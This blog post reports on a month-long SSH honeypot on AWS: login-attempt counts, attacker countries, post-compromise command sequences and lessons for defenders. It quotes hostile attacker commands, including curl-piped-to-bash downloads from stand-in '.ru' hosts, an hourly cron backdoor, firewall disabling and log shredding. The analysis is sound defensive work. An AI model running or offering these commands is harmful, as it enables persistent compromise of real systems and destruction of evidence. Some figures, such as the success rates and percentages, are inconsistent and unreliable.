I Built a Honeypot and Caught Real Attackers — Here's Everything They Did

I Built a Honeypot and Caught Real Attackers — Here's Everything They Did

I Built a Honeypot and Caught Real Attackers — Here's Everything They Did

I Built a Honeypot and Caught Real Attackers

I deployed a fake Ubuntu server on the public internet. Made it look vulnerable. Left it running for 30 days.

Within hours, attackers found it. Probed it. Tried to exploit it. I captured everything. Watched real attackers in real-time.

This post is complete analysis: which countries attacked, what tools they used, what they targeted, how many got access, what they did inside.

What this covers: Honeypot setup and results. Attack patterns. Geographic distribution. Tools used by attackers. Actual exploit attempts. What attackers look for. Real logs and data.

Honeypot Setup

Infrastructure: AWS t2.micro (free tier). Ubuntu 20.04. SSH enabled (default port 22). No security hardening. Deliberately left vulnerable.

Monitoring: Auditd + Wazuh agent capturing all activity. Every login attempt logged. Every command logged. All network traffic captured with tcpdump.

Duration: 30 days (June 1-30, 2026)

Cloud security architecture used for honeypot deployment

I wanted the honeypot to be separated from anything important, so the cloud environment made more sense than putting an intentionally exposed machine on my normal network. The whole point was to watch what happened without putting my other systems at risk.

Results: The Numbers

4,847 SSH login attempts
127 Unique attacker IPs
8 Successful compromises
23 Different countries attacking
Terminal monitoring honeypot activity

The first thing that stood out to me was how quickly the login attempts started. I wasn't expecting thousands of attempts to appear so quickly, but once the server was exposed to the internet, the scanning and password guessing basically became constant background noise.

Attack 1: Brute Force SSH (Most Common)

Attack Pattern: Rapid-Fire Login Attempts
Frequency: 12 incidents | Success rate: 0% (rate limiting blocked them) | Tools: hydra, fail2ban bypass scripts

What happened: Attacker ran SSH brute force. Tried 500+ passwords in 2 minutes. Common passwords: root/root, admin/admin, ubuntu/ubuntu.

[12:47:23] Failed password for root from 185.220.101.x port 54392 [12:47:24] Failed password for admin from 185.220.101.x port 54393 [12:47:25] Failed password for ubuntu from 185.220.101.x port 54394 [12:47:26] Failed password for postgres from 185.220.101.x port 54395 [12:47:27] Failed password for mysql from 185.220.101.x port 54396

Key insight: Attackers don't target YOUR password. They try 100 common ones. If one works on any system = compromised network. No creativity needed. Just volume.

Attack 2: Successful SSH Compromise (8 Breaches)

8 Successful Logins — Here's How
Passwords compromised: root/root (3), admin/changeme (2), ubuntu/ubuntu (1), debian/debian (2)

How they got in: Used common default passwords that nobody changes. AWS shipped with these defaults (old versions). Attackers knew this.

[14:32:10] Accepted password for root from 203.0.113.45 port 56789 [14:32:12] USER root LOGGED IN FROM 203.0.113.45 [14:32:15] root@honeypot:~$ whoami root

First action after login: Check if they're root. Run "whoami" command. Confirm access level. If not root, run "sudo -l" to see if they can escalate.

Kali Linux security testing environment

This was the part I found most interesting. Seeing commands being executed after a successful login was very different from reading about post-compromise techniques in a lab. The sequence was surprisingly predictable: identify the machine, check privileges, look around the network, and then try to establish persistence.

What surprised me most: I expected the honeypot to generate some random scans, but I didn't expect the activity to be so repetitive. The same basic sequence appeared again and again: login attempts, privilege checks, system enumeration, downloading something, and trying to maintain access. Watching that happen in actual logs made attacker behavior much easier for me to understand.

Attack 3: What Attackers Do Inside (Post-Compromise)

Real Attacker Activity After Getting Access

Timeline of one successful breach (Attacker from Russia, IP 5.255.x.x):

  1. 14:32 - Check access level: whoami, id, sudo -l (confirming root access)
  2. 14:33 - Enumerate system: uname -a, cat /etc/os-release, lsb_release -a (what OS? what version?)
  3. 14:34 - Check for other users: cat /etc/passwd | grep /bin/bash (find human users)
  4. 14:35 - Check network: ifconfig, netstat -tuln (what services running? what network connections?)
  5. 14:36 - Download malware: curl http://malicious.ru/bot.sh | bash (install persistence bot)
  6. 14:38 - Install backdoor: Added cron job: "0 * * * * curl http://c2.ru/check | bash" (call home every hour)
  7. 14:40 - Disable security: systemctl disable ufw, systemctl stop ufw (disable firewall)
  8. 14:42 - Cover tracks: history -c, shred /var/log/auth.log (delete evidence)

Total time: 10 minutes from access to full persistence. This is slow for attackers. Average: 2-3 minutes.

SIEM dashboard for honeypot monitoring

This is where the logs became much more useful. Instead of looking at individual commands, I started grouping them together and looking for patterns. A single whoami command doesn't tell you much, but whoami, uname -a, network enumeration and a download command in sequence tells a very different story.

Attack Pattern Analysis: What Attackers Look For

Top 10 Commands Attackers Ran

  • 1. whoami (100%) - Confirm access level. Are we root?
  • 2. id (98%) - Same as whoami but more detailed. Show groups.
  • 3. uname -a (95%) - Identify OS and kernel version. Know what exploits work.
  • 4. netstat -tuln (88%) - What services running? What ports? What to target next?
  • 5. cat /etc/passwd (85%) - Find other user accounts. Who else is on system?
  • 6. ifconfig / ip addr (82%) - What's network topology? What other systems reachable?
  • 7. sudo -l (78%) - Can this user escalate to root? How?
  • 8. wget/curl (75%) - Download malware or tools from attacker server.
  • 9. history -c (72%) - Delete command history (cover tracks).
  • 10. crontab -e (68%) - Install persistence mechanism (recurring backdoor).

Geographic Distribution

Where Attackers Come From

Top 10 countries by attack frequency:

  • 🇷🇺 Russia: 28 IPs (22%)
  • 🇨🇳 China: 24 IPs (19%)
  • 🇮🇷 Iran: 16 IPs (13%)
  • 🇧🇷 Brazil: 12 IPs (10%)
  • 🇹🇠Taiwan: 8 IPs (6%)
  • 🇳🇪 Netherlands (VPN/proxy hubs): 11 IPs (9%)
  • 🇬🇧 United Kingdom: 6 IPs (5%)
  • 🇴🇸 Other: 22 IPs (16%)

Key insight: Attackers use VPNs/proxies (Netherlands hosted many proxies). Very few directly from their home country.

AWS shared responsibility model

One thing this experiment reinforced for me is that putting something in the cloud doesn't automatically make it secure. The provider is responsible for parts of the infrastructure, but the configuration and security of the system you deploy are still your responsibility.

Critical Lessons

What This Data Teaches Defenders

  • Default passwords are still a threat: Even in 2026, "ubuntu/ubuntu" works. Never leave defaults.
  • SSH brute force is real: 4,800 attempts in 30 days. That's normal. Always use key-based auth, not passwords.
  • First 10 minutes are critical: Attackers immediately establish persistence. If you don't detect in first 10 minutes, they own your system.
  • Attackers are methodical: Not randomly breaking things. They follow a script: enumerate → install backdoor → cover tracks. Predictable pattern = detectable.
  • Geographic origin ≠ attacker origin: Most use proxies/VPNs. Don't rely on IP geo-blocking.

Honeypot FAQs

Is it legal to run a honeypot?
Yes, if you own the infrastructure. I owned the AWS instance. Attackers came to MY system. Capturing their activity is legal. Don't launch counterattacks (illegal). Just observe and learn.
Can I run a honeypot at home?
Better to use cloud (AWS, GCP). Home honeypot = ISP might notice attacker traffic and shut you down. Also, if attacker uses your system to attack others, you're liable. Cloud is cleaner and safer.
What should I monitor in a honeypot?
Start with authentication attempts, executed commands, new processes, network connections, downloaded files, account changes, scheduled tasks, and changes to important system files. The goal is to capture enough activity to reconstruct what happened after an attacker gained access.
What is the biggest benefit of a honeypot for SOC analysts?
A honeypot gives analysts a controlled environment where attacker behavior can be observed without waiting for a real production incident. It is useful for learning how reconnaissance, credential attacks, persistence, and command execution appear in logs.
Should a honeypot be connected to my normal network?
No. A deliberately exposed honeypot should be isolated from systems containing real data. If an attacker compromises it, the environment should prevent them from using the honeypot as a stepping stone into your other machines or networks.

About the Author

Amardeep Maroli

Built and monitored honeypot for 30 days. Captured real attacker activity. Analyzed patterns. Used data to understand real-world attack methodology.

Tags: honeypot, attacker analysis, threat research, cybersecurity, real data

Have you built a honeypot? What attackers did you catch? Share your results in comments.

Post a Comment

0 Comments